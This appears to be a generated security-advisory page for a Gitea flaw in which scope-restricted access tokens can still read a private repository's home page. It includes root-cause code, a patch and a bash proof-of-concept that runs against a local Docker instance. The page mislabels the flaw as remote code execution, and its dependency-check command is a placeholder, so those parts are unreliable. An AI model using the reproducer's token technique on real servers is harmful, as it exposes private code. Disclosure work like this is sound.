CVE-2026-58444: Gitea Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-cp3q-vrj2-ghhh
CVSS 4.3
CWE-863
Published
Advisory Summary

CVE-2026-58444 is a MODERATE (CVSS 4.3) remote code execution vulnerability (CWE-863: Incorrect Authorization) affecting Gitea libraries in the Go ecosystem. The issue involves personal access token scope enforcement bypass on the repository home page (`get /{owner}/{repo}`) discloses private repository contents. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58444 at a Glance

CVE Identifier CVE-2026-58444
GHSA Identifier GHSA-cp3q-vrj2-ghhh
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-863: Incorrect Authorization
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-58444

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58444, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in: - **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download - **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds `repo.Home` is the remaining token-auth-enabled content route that was not given the guard. ### Details / Root cause Web routes accept token authentication only when explicitly opted in with `webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries `AllowBasic` (added so that `go get` can resolve private modules): ```go // routers/web/web.go:1256 m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic, context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch), repo.SetEditorconfigIfExists, repo.Home) ``` When a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go` sets `IsApiToken = true` and records `ApiTokenScope`: ```go // services/auth/basic.go store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope ``` The patched sibling handlers all call the web-side scope guard `context.CheckRepoScopedToken(...)`, which enforces both the public-only restriction and the `repository` scope: ``` routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww routers/web/repo/attachment.go:190 (attachments / release assets, centralized) routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w ``` `repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its only gate is `checkHomeCodeViewable`, which verifies the **user's** permission and that the code unit is enabled neither of which constrains the **token's** scope. The README, file listing, and sidebar are then rendered. (The `handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo view is not.) ### Proof of Concept Reproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to the source commit above). A private repository `admin/secretrepo` is created, and a token is minted with **only** the `read:user` scope (no `repository` scope). ``` === anonymous baseline (repository is private) === anon GET /admin/secretrepo HTTP=404 === same no-repo-scope token across routes === API repo get (proves token lacks repo scope) HTTP=403 canary=0 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0 /admin/secretrepo.rss (control) HTTP=403 canary=0 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1 ``` A second token with scope `public-only,read:repository` behaves identically: `/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content. `canary=1` means the private README marker was returned in the HTML response; the private file name `SECRET.md` is also disclosed in the rendered file tree. Full self-contained reproducer (Docker, prints a PASS/FAIL verdict): ```bash #!/usr/bin/env bash set -euo pipefail N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2' docker rm -f $N >/dev/null 2>&1 || true docker run -d --name $N \ -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \ -e GITEA__server__ROOT_URL=http://localhost:3000/ \ -e GITEA__service__DISABLE_REGISTRATION=true \ -p 3000:3000 gitea/gitea:main-nightly >/dev/null for i in $(seq 1 40); do [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done docker exec -u git $N gitea admin user create --admin --username admin \ --password "$PW" --email admin@example.com --must-change-password=false >/dev/null curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \ -H 'Content-Type: application/json' \ -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])") curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ -H 'Content-Type: application/json' \ -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \ --scopes read:user --token-name norepo --raw | tail -1) echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)" for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p") echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)" done echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1" docker rm -f $N >/dev/null ``` ### Impact Any holder of a non-`repository`-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only `read:issue`, or a `public-only` token issued to a third-party integration). The disclosure is bounded to the repository root view because the deeper `/{owner}/{repo}/src/*` routes do not enable `AllowBasic`. ### Suggested remediation Mirror the sibling handlers: at the start of `repo.Home` (`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`, add: ```go context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read) if ctx.Written() { return } ``` It is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that render repository data for the same omission notably `actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a private repository's workflow build status (pass/fail) to a token without the `repository` scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

CVE-2026-58444 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58444?
CVE-2026-58444 is a security vulnerability in Gitea involving Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents under CWE-863: Incorrect Authorization.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58444?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58444?
CVE-2026-58444 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-58444?
CVE-2026-58444 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-58444?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cp3q-vrj2-ghhh",
  "modified" : "2026-07-21T20:38:31Z",
  "published" : "2026-07-21T20:38:31Z",
  "aliases" : [ "CVE-2026-58444" ],
  "summary" : "Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents",
  "details" : "### Summary\nA personal access token (PAT) or OAuth2 token that does **not** carry the\n`repository` scope or that is **public-only** is correctly rejected (HTTP 403)\nby the recently hardened web content routes (archive download, raw/media file\ndownload, and repository RSS/Atom feeds). However, the repository home page route\n`GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's\nrendered README, root file/directory tree, description, language statistics,\nlicense, and latest-release information to that same token.\n\nThis is a token-scope enforcement bypass and private-repository content\ndisclosure. It is the same source→sink pattern already fixed for neighbouring\nroutes in:\n\n- **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download\n- **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds\n\n`repo.Home` is the remaining token-auth-enabled content route that was not given\nthe guard.\n\n### Details / Root cause\nWeb routes accept token authentication only when explicitly opted in with\n`webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries\n`AllowBasic` (added so that `go get` can resolve private modules):\n\n```go\n// routers/web/web.go:1256\nm.Get(\"/{username}/{reponame}\", optSignIn, webAuth.AllowBasic,\n      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),\n      repo.SetEditorconfigIfExists, repo.Home)\n```\n\nWhen a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go`\nsets `IsApiToken = true` and records `ApiTokenScope`:\n\n```go\n// services/auth/basic.go\nstore.GetData()[\"IsApiToken\"] = true\nstore.GetData()[\"ApiTokenScope\"] = token.Scope\n```\n\nThe patched sibling handlers all call the web-side scope guard\n`context.CheckRepoScopedToken(...)`, which enforces both the public-only\nrestriction and the `repository` scope:\n\n```\nrouters/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g\nrouters/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww\nrouters/web/repo/attachment.go:190  (attachments / release assets, centralized)\nrouters/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w\n```\n\n`repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its\nonly gate is `checkHomeCodeViewable`, which verifies the **user's** permission and\nthat the code unit is enabled neither of which constrains the **token's** scope.\nThe README, file listing, and sidebar are then rendered. (The\n`handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo\nview is not.)\n\n### Proof of Concept\nReproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to\nthe source commit above). A private repository `admin/secretrepo` is created, and\na token is minted with **only** the `read:user` scope (no `repository` scope).\n\n```\n=== anonymous baseline (repository is private) ===\n  anon GET /admin/secretrepo                       HTTP=404\n=== same no-repo-scope token across routes ===\n  API repo get (proves token lacks repo scope)     HTTP=403 canary=0\n  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0\n  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0\n  /admin/secretrepo.rss               (control)    HTTP=403 canary=0\n  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1\n```\n\nA second token with scope `public-only,read:repository` behaves identically:\n`/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content.\n\n`canary=1` means the private README marker was returned in the HTML response; the\nprivate file name `SECRET.md` is also disclosed in the rendered file tree.\n\nFull self-contained reproducer (Docker, prints a PASS/FAIL verdict):\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nN=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'\ndocker rm -f $N >/dev/null 2>&1 || true\ndocker run -d --name $N \\\n  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \\\n  -e GITEA__server__ROOT_URL=http://localhost:3000/ \\\n  -e GITEA__service__DISABLE_REGISTRATION=true \\\n  -p 3000:3000 gitea/gitea:main-nightly >/dev/null\nfor i in $(seq 1 40); do\n  [ \"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)\" = 200 ] && break; sleep 2; done\ndocker exec -u git $N gitea admin user create --admin --username admin \\\n  --password \"$PW\" --email admin@example.com --must-change-password=false >/dev/null\ncurl -s -u admin:\"$PW\" -X POST http://localhost:3000/api/v1/user/repos \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"secretrepo\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}' >/dev/null\nSHA=$(curl -s -u admin:\"$PW\" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  | python3 -c \"import json,sys;print(json.load(sys.stdin)['sha'])\")\ncurl -s -u admin:\"$PW\" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"content\":\"'\"$(printf '# %s\\nprivate' \"$CANARY\" | base64)\"'\",\"message\":\"u\",\"sha\":\"'\"$SHA\"'\",\"branch\":\"main\"}' >/dev/null\nTOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \\\n  --scopes read:user --token-name norepo --raw | tail -1)\necho \"anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)\"\nfor p in \"archive/main.zip\" \"raw/branch/main/README.md\" \".rss\" \"\"; do\n  o=$(curl -s -u admin:\"$TOK\" -w '|%{http_code}' \"http://localhost:3000/admin/secretrepo${p:+/}$p\")\n  echo \"/$p -> ${o##*|}  canary=$(printf '%s' \"$o\" | grep -c \"$CANARY\" || true)\"\ndone\necho \"PASS if controls=403/404 and repo.Home (last line)=200 canary=1\"\ndocker rm -f $N >/dev/null\n```\n\n### Impact\nAny holder of a non-`repository`-scoped or public-only token belonging to a user\nwho has access to private repositories can read those repositories' README, root\nfile/directory listing, description, languages, license, and latest release\ncontent the token was explicitly scoped to be unable to read. This defeats the\npurpose of fine-grained and public-only tokens (for example a CI token granted\nonly `read:issue`, or a `public-only` token issued to a third-party integration).\n\nThe disclosure is bounded to the repository root view because the deeper\n`/{owner}/{repo}/src/*` routes do not enable `AllowBasic`.\n\n### Suggested remediation\nMirror the sibling handlers: at the start of `repo.Home`\n(`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`,\nadd:\n\n```go\ncontext.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)\nif ctx.Written() {\n    return\n}\n```\n\nIt is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that\nrender repository data for the same omission notably\n`actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a\nprivate repository's workflow build status (pass/fail) to a token without the\n`repository` scope (lower impact, possibly intended since badges are designed to\nbe embeddable, but worth confirming).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhh"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:38:31Z",
    "nvd_published_at" : null
  }
}